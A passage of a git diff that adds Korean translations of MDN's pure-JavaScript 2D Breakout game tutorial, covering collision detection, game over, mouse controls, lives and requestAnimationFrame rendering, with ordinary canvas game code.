+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
+
+<div class="summary">
+<p>이 학습은 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>의 일곱 번째 단계입니다. <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html">Gamedev-Canvas-workshop/lesson7.html</a>에서 이번 학습에서 완성된 코드를 확인할 수 있습니다.</p>
+</div>
+
+<p>지난 학습에서 우린 화면에 벽돌을 표현했습니다. 그러나 공은 벽돌은 그냥 지나가버리고 게임은 아직 흥미로워지려면 멀어보입니다. 우린 공이 벽돌을 파괴하고 튕겨져 나올 수 있도록 충돌 감지 기능을 고려해봐야 합니다.</p>
+
+<p>물론 어떻게 적용할지는 우리가 결정할 문제입니다. 그러나 공이 벽돌에 닿았는지 계산하는 일은 꽤나 까다로울 수 있습니다. 왜냐하면 캔버스엔 이를 위한 기능이 없기 때문입니다.  이번 학습은 가능한 쉬운 방법으로 진행될 것입니다. 우린 공의 중앙이 어느 벽돌과 충돌하는지 확인할 것입니다. 이는 항상 완벽한 결과를 주진 않지만, 충돌 감지를 위한 정교한 방법은 무궁무진합니다. 그러나 이 방법 역시 기본적인 개념을 학습하기에 꽤 괜찮습니다.</p>
+
+<h2 id="충돌_감지_함수">충돌 감지 함수</h2>
+
+<p>이 모든 것을 시작하기 위해 우리는 모든 벽돌들을 순회하고 각 벽돌의 좌표를 공의 위치와 비교하는 충돌 감지 함수를 만들어야 합니다. 코드의 가독성을 향상시키기 위해 충돌 감지의 반복에서 사용할 벽돌 객체를 저장하는 b 변수를 정의할 것입니다.</p>
+
+<pre class="brush: js">function collisionDetection() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            // calculations
+        }
+    }
+}</pre>
+
+<p>만약 공의 중앙이 어떤 벽돌의 범위 내에 있을 경우, 공의 방향을 바꾸게 됩니다. 공이 벽돌 안에 존재하려면, 아래 4가지 조건이 참이어야 합니다.</p>
+
+<ul>
+ <li>공의 x 좌표는 벽돌의 x 좌표보다 커야 한다.</li>
+ <li>공의 x 좌표는 벽돌의 x 좌표 + 가로 길이보다 작아야 한다.</li>
+ <li>공의 y 좌표는 벽돌의 y 좌표보다 커야 한다.</li>
+ <li>공의 y 좌표는 벽돌의 y 좌표 + 높이보다 작아야 한다.</li>
+</ul>
+
+<p>이 조건을 코드로 작성해봅시다.</p>
+
+<pre class="brush: js">function collisionDetection() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                dy = -dy;
+            }
+        }
+    }
+}</pre>
+
+<p>위 코드를 <code>keyUpHandler()</code> 함수 아래에 추가해봅시다.</p>
+
+<h2 id="충돌_후에_벽돌을_사라지게_만들기">충돌 후에 벽돌을 사라지게 만들기</h2>
+
+<p>위의 코드는 우리가 의도한대로 작동할 것이고 공은 방향을 바꿀 것입니다. 문제는 벽돌이 그대로 있다는 것입니다. 우린 이미 공이 부딪힌 벽돌을 제거하기 위한 방법을 고민해봐야 합니다. 우리는 화면에 있는 벽돌을 그릴지 결정하는 변수를 추가해서 이 문제를 해결할 수 있습니다, 벽돌을 초기화하는 코드에, <code>status</code> 속성을 각 벽돌 객체에 추가해봅시다. 아래와 같이 말입니다.</p>
+
+<pre class="syntaxbox">var bricks = [];
+for(var c=0; c&lt;brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r&lt;brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0, status: 1 };
+    }
+}</pre>
+
+<p>다음으로 <code>drawBricks</code> 함수에서 벽돌들을 그리기 전에 <code>status</code> 속성을 확인해야 합니다. 만약 <code>status</code>가 1이라면 벽돌을 그리고, 만약 0이라면 이미 공이 치고간 벽돌이므로 우린 더이상 화면에 그릴 필요가 없습니다. 아래와 같이 <code>drawBricks</code> 함수를 수정해봅시다,</p>
+
+<pre class="brush: js; highlight:[4,5,6,7,8,9,10,11,12,13,14]">function drawBricks() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            if(bricks[c][r].status == 1) {
+                var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+                var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+                bricks[c][r].x = brickX;
+                bricks[c][r].y = brickY;
+                ctx.beginPath();
+                ctx.rect(brickX, brickY, brickWidth, brickHeight);
+                ctx.fillStyle = "#0095DD";
+                ctx.fill();
+                ctx.closePath();
+            }
+        }
+    }
+}</pre>
+
+<h2 id="충돌_감지함수에서_상태_추적_및_업데이트">충돌 감지함수에서 상태 추적 및 업데이트</h2>
+
+<p>이제 <code>collisonDectection</code> 함수에 벽돌 <code>status</code> 속성을 포함시켜야 합니다. 만약 벽돌이 활성 상태(<code>status</code> 1)이라면 충돌이 일어났는지 확인해야 합니다. 만약 충돌이 발생했다면 다시 그리지 않게 벽돌의 속성을 0으로 변경해야 합니다. <code>collisionDetection</code> 함수를 아래와 같이 수정합시다.</p>
+
+<pre class="brush: js; highlight:[5,6,7,8,9,10]">function collisionDetection() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                }
+            }
+        }
+    }
+}</pre>
+
+<h2 id="충돌_감지_활성화하기">충돌 감지 활성화하기</h2>
+
+<p>마지막으로 할일은 <code>draw</code>함수에서 <code>collisionDetection</code> 함수를 호출하는 것입니다. 아래 코드를 <code>draw</code> 함수에, <code>drawPaddle()</code> 아래에 추가해봅시다.</p>
+
+<pre class="brush: js">collisionDetection();
+</pre>
+
+<h2 id="코드_비교하기">코드 비교하기</h2>
+
+<p>이제 매 프레임마다 충돌 감지를 확인할 것입니다. 이제 우린 별돌을 파괴할 수 있습니다!</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/mkwtxgc3/3/","","395")}}</p>
+
+<div class="note">
+<p><strong>연습하기: 벽돌이 부딪힐 때마다 색깔을 바꿔보세요.</strong></p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>우리는 충분히 여기까지 왔습니다! 이제 어덟 번째 장에서는<a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win"> 점수를 추가와 승패 판정 방법</a>을 알아 볼 것입니다.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/finishing_up/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/finishing_up/index.html
new file mode 100644
index 0000000000..b23a4b6b33
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/finishing_up/index.html
@@ -0,0 +1,111 @@
+---
+title: 개발 마무리
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Finishing_up
+tags:
+  - Canvas
+  - Games
+  - JavaScript
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}</p>
+
+<div class="summary">
+<p><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>.의<strong> 10 개의 레슨 중 마지막 단계 </strong>입니다. 이 수업을 마친 후 비교하여 살펴 볼 소스코드는 <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson10.html">Gamedev-Canvas-workshop/lesson10.html</a>. 여기서 찾아 볼 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">우리가 쓰는 모든 게임에 항상 개선해야 할 것이 있습니다. 예를 들어 이 게임에 2인용 플레이어를 추가할 수 있습니다. 한두 번 잘못 만들어 경기를 끝낼 수도 있습니다. 그러나 우리는 코드 렌더링을 향상시켜 발전할 수 있습니다.</span></p>
+
+<h2 id="플레이어에게_생명을_부여하기">플레이어에게 생명을 부여하기</h2>
+
+<p>생명을 구현하는 방법은 아주 간단하다. 먼저 변수를 선언했던 곳과 같은 장소에서  변수를 추가하여 생명 수를 저장합니다.</p>
+
+<pre class="brush: js">var lives = 3; //남은 생명 수</pre>
+
+<p>남은 생명 수를 표시하는 방법은 점수 카운터가 그려지는 것과 같은 형태 입니다. <code>drawScore()</code>함수 아래에 다음 기능을 추가 하십시오.</p>
+
+<pre class="brush: js">function drawLives() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
+}</pre>
+
+<p>지금까지 바닥에 닿으면 바로 게임을 끝내는 형식이였습니다. 이제 우리는 더 이상 게임을 이용할 수 없게 될 때까지 남은 생명 수를 줄일 것입니다. 또한 플레이어가 게임 오버되면 다시 생명과 블럭들을 리셋하여 공과 패들 위치를 재설정할 수 있습니다. <code>draw()</code> 함수는 다음 세 줄로 대체합니다:</p>
+
+<pre class="brush: js">alert("GAME OVER");
+document.location.reload();
+clearInterval(interval); // Needed for Chrome to end game
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p>이를 통해 아래와 같이 약간 복잡한 논리를 추가할 수 있습니다:</p>
+
+<pre class="brush: js">lives--;
+if(!lives) {
+    alert("GAME OVER");
+    document.location.reload();
+    clearInterval(interval); // Needed for Chrome to end game
+}
+else {
+    x = canvas.width/2;
+    y = canvas.height-30;
+    dx = 2;
+    dy = -2;
+    paddleX = (canvas.width-paddleWidth)/2;
+}</pre>
+
+<p>자, 이제 공이 화면의 맨아래 가장자리에 맞으면 생명(<code>lives</code>)을 하나 뺍니다. 생명이 없다면 게임이 끝나고 아직 남아있다면 공의 위치와 패들의 위치가 재설정 됩니다.</p>
+
+<h3 id="남은_생명_표시_렌더링하기">남은 생명 표시 렌더링하기</h3>
+
+<p>이제 <code>draw()</code>함수 내에서 <code>drawLives()</code>에 생명 수를 추가하고 <code>drawLives()</code> 아래에 생명 수를 추가해야 합니다.</p>
+
+<pre class="brush: js">drawLives();
+</pre>
+
+<h2 id="requestAnimationFrame()을_사용하여_랜더링_개선하기">requestAnimationFrame()을 사용하여 랜더링 개선하기</h2>
+
+<p>이제 게임 역학과 연결이 되지 않고, 그것이 렌더링되는 방식에 대해 연구해 봅시다. {{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} 브라우저가 현재 Replace를 사용하여 구현한 고정 프레임보다 게임을 더 잘 랜더링할 수 있도록 {{domxref("windowTimers.setInterval()", "setInterval()")}} 도와줍니다:</p>
+
+<pre class="brush: js">var interval = setInterval(draw, 10);</pre>
+
+<p>간단하게:</p>
+
+<pre class="brush: js">draw();</pre>
+
+<p>다음 각 인스턴스를 제거합니다:</p>
+
+<pre class="brush: js">clearInterval(interval); // Needed for Chrome to end game
+</pre>
+
+<p>그 다음, <code>draw()</code>함수의 맨 아래 (닫는 '<code>}</code>'바로 전에) 다음 줄을 추가하여 <code>draw()</code>함수가 반복적으로 자신을 호출하게 합니다:</p>
+
+<pre class="brush: js">requestAnimationFrame(draw);</pre>
+
+<p>이 <code>draw()</code> 함수는 현재 <code>requestAnimationFrame()</code> 루프 내에서 반복적으로 실행되고 있지만, 고정된 10ms 프레임 대신 프레임의 제어권을 브라우저에 다시 부여 합니다. 이는 프레임과 적절하게 일치하고 필요할 때만 모양을 만들 것입니다. 이것은 이전의 <code>setInterval()</code> 방법보다 더 효율적이고 부드럽게 애니메이션 루프를 만듭니다.</p>
+
+<h2 id="코드_비교하기">코드 비교하기</h2>
+
+<p>그것이 이 레슨의 전부입니다. 게임의 최종버전이 준비되 있고 시작할 준비가 되어 있습니다!</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}</p>
+
+<div class="note">
+<p><strong>Exercise</strong>: 남은 생명에 따라 공이 패들에서 튕겨나가는 각도를 변경합니다.</p>
+</div>
+
+<h2 id="게임_오버_-_마무리!">게임 오버 - 마무리!</h2>
+
+<p>축하합니다! 당신은 모든 수업을 완수하였습니다! 이쯤 되면 이제 캔버스의 조작 기초와 간단한 2D 게임 구현 방법을 알게 되었을 것 입니다. 이제 몇 가지 프레임워크를 배우고 게임 개발을 해 본 좋은 시간이였습니다.</p>
+
+<p>이 시리즈의 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a> 또는 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">Cyber Orb built in Phaser</a> 튜토리얼을 확인해 볼 수 있습니다. <a href="https://developer.mozilla.org/en/docs/Games">Games section on MDN</a>의 섹션에서 더 많은 지식과 영감을 얻으십시오.</p>
+
+<p> </p>
+
+<p>{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/game_over/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/game_over/index.html
new file mode 100644
index 0000000000..d0c72fb8b3
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/game_over/index.html
@@ -0,0 +1,77 @@
+---
+title: 게임 오버
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over
+tags:
+  - 게임
+  - 게임 오버
+  - 그래픽
+  - 자바스크립트
+  - 초심자
+  - 캔버스
+  - 튜토리얼
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field")}}</p>
+
+<div class="summary">
+<p>이것은 <a href="/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a> 의 다섯 번째 학습입니다. 이 학습을 통해 완성된 코드는 <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson05.html">Gamedev-Canvas-workshop/lesson5.html</a> 에서 확인할 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">공이 벽에서 튕겨져 나오는 것과 패들을 움직이는 것을 보는건 재밌지만, 더 진전이 필요합니다. 게임에서 질 수 있다면 좋겠습니다. 벽돌 깨기 게임에서 패배하는 구조는 꽤 단순합니다. 만약 패들이 공을 놓친다면, 공은 캔버스의 아래 면에 닿을 것이고, 그대로 게임은 끝납니다.</span></p>
+
+<h2 id="게임_오버_기능_적용하기">게임 오버 기능 적용하기</h2>
+
+<p>'게임 오버' 기능을 만들어봅시다. 아래에 세 번째 학습에서 작성한, 벽에서 공을 반사시키는 코드의 일부가 있습니다.</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width-ballRadius || x + dx &lt; ballRadius) {
+    dx = -dx;
+}
+
+if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
+    dy = -dy;
+}</pre>
+
+<p>사면 모두에서 공을 튕겨내지 말고 왼쪽, 위쪽, 오른쪽, 세 면에만 적용해봅시다. 아래쪽 면에 닿는 순간 게임은 끝납니다. 우리는 공이 밑면에 충돌하는 순간 "게임 오버" 상태로 바뀌게 하기 위해 두 번째 <code>if</code> 블록을 수정할 것입니다. 우선 경고 메시지를 보여주고 페이지를 리로딩해서 게임을 다시 시작하게 할 것입니다. 두번째 <code>if</code> 블록을 아래와 같이 수정해봅시다.</p>
+
+<pre class="brush: js">if(y + dy &lt; ballRadius) {
+    dy = -dy;
+} else if(y + dy &gt; canvas.height-ballRadius) {
+    alert("GAME OVER");
+    document.location.reload();
+}</pre>
+
+<h2 id="Paddle은_공을_튕겨내야지">Paddle은 공을 튕겨내야지</h2>
+
+<p>이번 학습에서 할 마지막 일은 공과 패들 사이의 충돌 감지같은, 공을 게임 화면으로 되돌아가게 튕겨내는 기능을 만드는 것입니다. 가장 쉬운 방법은 공의 중심이 패들의 내부에 있는지 확인하는 것이다. 위에서 수정한 코드를 약간 고쳐봅시다.</p>
+
+<pre class="brush: js">if(y + dy &lt; ballRadius) {
+    dy = -dy;
+} else if(y + dy &gt; canvas.height-ballRadius) {
+    if(x &gt; paddleX &amp;&amp; x &lt; paddleX + paddleWidth) {
+        dy = -dy;
+    }
+    else {
+        alert("GAME OVER");
+        document.location.reload();
+    }
+}</pre>
+
+<p>공이 캔버스의 밑면에 닿는 순간, 공이 패들의 안쪽에 있는지 확인해야 합니다. 만약 그렇다면, 우리가 기대하는대로 공은 튕겨져야 합니다. 그게 아니라면, 게임의 전과 같이 끝나야 합니다.</p>
+
+<h2 id="코드_비교하기">코드 비교하기</h2>
+
+<p>여기 완성된 코드가 있으니 작성한 코드와 비교해봅시다.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/z4zy79fo/","","395")}}</p>
+
+<div class="note">
+<p><strong>연습</strong>: 공이 패들에 닿았을 때 공의 속도를 빠르게 만들어봅시다.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>지금까지 아주 잘 하고 있습니다. 게임은 플레이 할 가치가 생겼고 이젠 게임이 끝날 수도 있습니다. 하지만 뭔가가 빠졌습니다. 여섯 번째 학습 — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Build_the_brick_field">벽돌 영역을 만들어보기</a> — 로 이동해서 몇 개의 벽돌을 만들어 봅시다.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/index.html
new file mode 100644
index 0000000000..8b0e4da888
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/index.html
@@ -0,0 +1,55 @@
+---
+title: 순수한 자바스크립트를 이용한 2D 벽돌깨기 게임
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임
+tags:
+  - 2D
+  - 게임
+  - 자바스크립트
+  - 캔버스
+  - 튜토리얼
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}}</p>
+
+<p class="summary">이 튜토리얼을 차례차례 진행하면서 우리는 HTML5 {{htmlelement("canvas")}} 로 렌더되는 순수하게 JavaScript로만 쓰여진 간단한 MDN 벽돌깨기 게임을 만들 것입니다.</p>
+
+<p>모든 과정은 플레이 가능하고 편집가능한 라이브 샘플을 포함하고 있습니다. 이 샘플을 통해, 여러분은 중간 스테이지들이 어떻게 보여져야 하는지 확인할 수 있습니다. 여러분은 이미지의 렌더링과 움직임, 충돌 감지, 컨트롤 메카니즘들과 승리와 패배 상태와 같은 기본적인 게임 원리들을 구현하기 위해서, {{htmlelement("canvas")}}엘리먼트의 기본적인 사용 방법을  배우게 될 것입니다.</p>
+
+<p>이 시리즈를 최대한 활용하려면 중급의 <a href="/ko/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> 지식이 있어야 합니다. 이 튜토리얼을 끝낸 후에는 여러분은 스스로 간단한 웹 게임들을 만들 수 있게 될 것입니다.</p>
+
+<p><img alt="Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives." src="https://mdn.mozillademos.org/files/10383/mdn-breakout-gameplay.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="강의_내용">강의 내용</h2>
+
+<p>모든 강의 내용과 우리가 함께 만드는 <a href="http://breakout.enclavegames.com/lesson10.html">MDN 벽돌깨기 게임</a>의 다른 버전들은 <a href="https://github.com/end3r/Canvas-gamedev-workshop">GitHub</a>에서 찾을 수 있습니다.:</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/ko-KR/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기">캔버스 생성과 그리기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball">공 움직이기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls">벽으로 부터 튕겨나오기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls">패들과 키보드 컨트롤</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">게임 오버</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">벽돌 필드 만들기</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">충돌 감지</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">점수 추적과 승리</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">마우스 컨트롤</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">마무리</a></li>
+</ol>
+
+<p>웹 게임 개발의 확고한 지식을 얻기 위한 최고의 방법은 순수하게 JavaScript만 이용해서 시작하는 것입니다. 이후에, 여러분은 프로젝트에 프레임워크를 골라서 사용할 수도 있습니다.  프레임워크들은 JavaScript로 만들어진 도구일 뿐입니다. 따라서 여러분이 프레임워크를 사용하더라도, 프레임워크 밑에서 정확히 어떤 일이 일어나는지 알기 위해 언어를 배우는것이 좋습니다. 프레임워크들은 개발 속도를 올려주고, 게임의 지루한 부분들을 해결하는데 도움을 줍니다. 하지만 어떤 일들이 기대한대로 일어나지 않는다면, 여러분은 디버그를 시도하거나 여러분 스스로 순수하게 JavaScript만 이용한 솔루션을 작성할 수 도 있습니다.</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: 만약 여러분이 게임 라이브러리를 이용한 2D 웹 게임 개발의 학습에 흥미가 있다면,  이 시리즈의 대응 파트인 <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a>를 살펴보시기 바랍니다.</p>
+</div>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: 이 시리즈의 내용들은 게임개발 워크숍의 재료로 쓰일 수 있습니다. 또한, 만약 여러분이 게임개발에 있어 강연을 원한다면 이 튜토리얼에 기초한 <a href="https://github.com/end3r/Gamedev-Canvas-Content-Kit">Gamedev Canvas Content Kit</a>를 활용할 수 있습니다.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>좋습니다, 이제 시작하도록 합시다. 첫 번째 챕터인 <a href="https://developer.mozilla.org/ko-KR/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기">캔버스 생성과 그리기</a> 부터 시작합니다.</p>
+
+<p>{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}} </p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/mouse_controls/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/mouse_controls/index.html
new file mode 100644
index 0000000000..e05faf32e8
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/mouse_controls/index.html
@@ -0,0 +1,57 @@
+---
+title: 마우스로 패들 조종하기
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Mouse_controls
+tags:
+  - Canvas
+  - Games
+  - JavaScript
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}</p>
+
+<div class="summary">
+<p>이 레슨은 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>.의 10개 중 <strong>9 번째</strong> 단계입니다. 당신은 <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson09.html">Gamedev-Canvas-workshop/lesson9.html</a>. 이 소스코드에서 이 수업의 교훈을 찾을 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">경기 자체가 사실상 끝났으므로, 이를 다듬는 작업을 해봅시다. 우리는 이미 키보드로 조종하는 코드를 추가했지만 마우스 조종하는 코드를 쉽게 추가할 수 있습니다.</span></p>
+
+<h2 id="마우스_이동_감지하기">마우스 이동 감지하기</h2>
+
+<p>마우스 움직임을 감지하기 위해 감지를 하는 것은 키 감지를 하는 것보다 훨씬 더 쉽습니다. 우리가 필요한 것은 {{event("mousemove")}} 이 이벤트 감지입니다. 이 <code>keyup event</code> 바로 아래에 이 행을 추가하십시오.</p>
+
+<pre class="brush: js">document.addEventListener("mousemove", mouseMoveHandler, false);</pre>
+
+<h2 id="마우스_움직임에_따라_패들_이동_하기">마우스 움직임에 따라 패들 이동 하기</h2>
+
+<p>포인터 좌표에 따라 패들 위치를 업데이트를 할 수 있습니다. 다음과 같은 핸들러 기능을 정확하게 할 것입니다. 추가한 이전 줄 아래에 다음 함수를 추가하십시오:</p>
+
+<pre class="brush: js">function mouseMoveHandler(e) {
+    var relativeX = e.clientX - canvas.offsetLeft;
+    if(relativeX &gt; 0 &amp;&amp; relativeX &lt; canvas.width) {
+        paddleX = relativeX - paddleWidth/2;
+    }
+}</pre>
+
+<p>이 함수에서 우리는 먼저 상대적인 <code>relativeX</code> 를 구합니다. 이 값은 뷰포트(<code>e.clientX</code>)와 캔버스 왼쪽 가장자리 (<code>canvas.offsetLeft</code>) 사이의 거리에 마우스 위치를 뺀 값입니다. 상대적인 X 포인터 위치가 0보다 크고 캔버스 폭보다 적으면 포인터가 경계 내에 있게 되고, <code>paddleX</code>의 위치(패들 왼쪽 가장자리에 배치되어 있다)는 패들 width의 반을 뺀 <code>relativeX</code>의 값으로 설정되므로 이동은 실제로 패들 가운데 상대적으로 이동이 됩니다.</p>
+
+<p>이제 패들은 마우스 커서의 움직임을 따르겠지만, 움직임을 캔버스 크기로 제한하고 있기 때문에 어느 쪽에서도 완전히 사라지지 않을 것입니다.</p>
+
+<h2 id="코드_비교하기">코드 비교하기</h2>
+
+<p>지금까지 해왔던 코드를 한번 비교해보세요.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}</p>
+
+<div class="summary">
+<p>Exercise: 패들이 캔버스 양쪽 가장자리에서 반만 잘려나가 보일 것 입니다. 패들 이동 제한 경계를 조정해 보세요.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이제 우리는 완전한 게임을 할 수 있게 되었습니다. 우리는 몇 가지 작은 코드만으로 이 레슨을 마치게 될 것 입니다! — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up">Finishing up</a>.<a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up"> (마지막)</a></p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}</p>
